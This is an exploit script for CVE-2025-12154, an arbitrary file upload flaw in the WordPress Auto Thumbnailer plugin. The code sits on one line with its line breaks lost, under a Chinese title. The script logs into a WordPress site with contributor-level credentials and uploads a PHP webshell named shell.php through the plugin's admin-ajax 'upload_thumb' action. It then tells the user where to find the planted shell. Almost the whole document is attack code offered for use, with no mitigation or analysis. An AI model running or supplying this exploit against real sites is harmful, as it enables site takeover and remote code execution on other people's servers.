CVE-2025-12154 WordPress Auto Thumbnailer插件任意文件上传漏洞

import requests import sys # CVE-2025-12154 PoC - Auto Thumbnailer Arbitrary File Upload # Target: WordPress site with Auto Thumbnailer plugin <= 1.0 def exploit_upload(target_url, username, password, webshell_path): """ Exploit arbitrary file upload vulnerability in Auto Thumbnailer plugin Args: target_url: Base URL of the WordPress site username: WordPress username with Contributor role or higher password: WordPress password webshell_path: Path to the webshell file to upload """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies=session.cookies) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious file via Auto Thumbnailer uploadThumb() function upload_url = f"{target_url}/wp-admin/admin-ajax.php" with open(webshell_path, 'rb') as f: webshell_content = f.read() files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'upload_thumb', 'nonce': 'exploit_nonce' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File upload request sent!") print(f"[*] Check {target_url}/wp-content/uploads/ for uploaded shell") return True return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <webshell_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] shell = sys.argv[4] exploit_upload(target, user, pwd, shell)